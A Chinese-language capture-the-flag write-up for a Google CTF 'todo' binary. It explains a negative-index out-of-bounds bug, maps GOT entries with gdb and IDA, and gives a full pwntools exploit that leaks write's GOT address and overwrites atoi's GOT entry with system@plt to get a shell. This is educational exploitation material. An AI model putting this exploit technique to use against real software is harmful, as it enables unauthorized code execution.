本文是 plt 和 got 表相关的漏洞利用实例,是 Google CTF 中的一道题,题目给了源码和 binary。

通过阅读代码,可以发现

int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}
printf("What's your TODO? ");
fflush(stdout);
read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);

这里虽然检查了 idx 最大不能超过某个范围,但是没有检查小于零的情况,所以如果构造小于零的 idx,就可以读取比 todos 数组地址还小的位置的内存了,同理,在 write_all 函数中,也可以任意的去写这个位置的内存。

todos 是一个全局变量,所以它的内存地址是确定的,是在 bss 段。因为 todos 的索引会乘以 TODO_LENGTH,所以内存的读取是跳跃的,每次都相差 48 个字节。

使用 gdb 调试,set follow-fork-mode parent 然后 b main p &todos 可以看到内存地址。

gdb-peda$ p &todos
$1 = (<data variable, no debug info> *) 0x555555757140 <todos>

在 IDA 中,也可以看到 todosgot 表距离也非常近,写一个小程序算一下

base = 0x203140
for i in range(10):
    print hex(base - i * 48)

结合 IDA 的结果和计算输出的结果,可以标记出来一些有用的数据

0x203140 -> todos
0x203110
0x2030e0
0x2030b0
         0x203088(非整数倍) -> atoi
0x203080 -> open
0x203050 -> strncat
0x203020 -> write
0x202ff0
0x202fc0
0x202f90

比如先读一下 write 的地址

[-------------------------------------code-------------------------------------]
   0x555555554900 <puts@plt>:	jmp    QWORD PTR [rip+0x202712]        # 0x555555757018
   0x555555554906 <puts@plt+6>:	push   0x0
   0x55555555490b <puts@plt+11>:	jmp    0x5555555548f0
=> 0x555555554910 <write@plt>:	jmp    QWORD PTR [rip+0x20270a]        # 0x555555757020
 | 0x555555554916 <write@plt+6>:	push   0x1
 | 0x55555555491b <write@plt+11>:	jmp    0x5555555548f0
 | 0x555555554920 <strlen@plt>:	jmp    QWORD PTR [rip+0x202702]        # 0x555555757028
 | 0x555555554926 <strlen@plt+6>:	push   0x2
 |->   0x555555554916 <write@plt+6>:	push   0x1
       0x55555555491b <write@plt+11>:	jmp    0x5555555548f0
       0x555555554920 <strlen@plt>:	jmp    QWORD PTR [rip+0x202702]        # 0x555555757028
       0x555555554926 <strlen@plt+6>:	push   0x2
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]

重新画一下数据分布图

0x555555757140 -> todos
0x555555757110
0x5555557570e0
0x5555557570b0
0x555555757080
0x555555757050
0x555555757020 => 0x555555554916 -> write@plt+6

由以前的知识就知道 0x555555757020 就是 write 的 got 表的地址,减去刚才已知的 todos 的位置,正好是 (0x555555757020 - 0x555555757140) / 48 == -6

可以先构造一个读取 write 的 got 表地址 exp

from pwn import *
from struct import unpack

proc = process("./todo")
proc.send("admin\n")
proc.readuntil(">")
proc.send("2\n")
proc.readuntil("read?")
proc.send("-6\n")
res = proc.readuntil("Hi admin,").splitlines()[0]
write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
write_addr = unpack("<Q", write_addr)[0]

print hex(write_addr)

其中 <Q 是指定按照小端序读取 8 个字节作为一个数字。因为这时候 write 函数还没有被解析,所以 got 表中的 write 还是指向 write@plt+6 的。

剩下的步骤就简单多了,在 store_todo 函数中,可以将我们的输入写入 got 表的位置,所以应该是将 system@plt 的地址写入接下来要运行的参数可控的函数的 got 表的位置。发现 atoi 函数是一个选择,函数的偏移是确定的,system@plt - write@plt+6 也就是 0x555555554940 - 0x555555554916 = 0x2aatoi@plt 的地址可以使用 info addr atoi@plt 获取,是在偏移 -4 再加 8 个字节)。

完整 exp 如下

from pwn import *
from struct import unpack, pack

proc = process("./todo")
proc.send("admin\n")
proc.readuntil(">")
proc.send("2\n")
proc.readuntil("read?")
proc.send("-6\n")
res = proc.readuntil("Hi admin,").splitlines()[0]
write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
write_addr = unpack("<Q", write_addr)[0]

print hex(write_addr)

proc.send("3\n")
proc.readuntil("entry?")
proc.send("-4\n")
proc.readuntil("TODO?")
proc.send("AAAAAAAA" + pack("<Q", write_addr + 0x2a)[:8] + "\n")

proc.interactive()

参考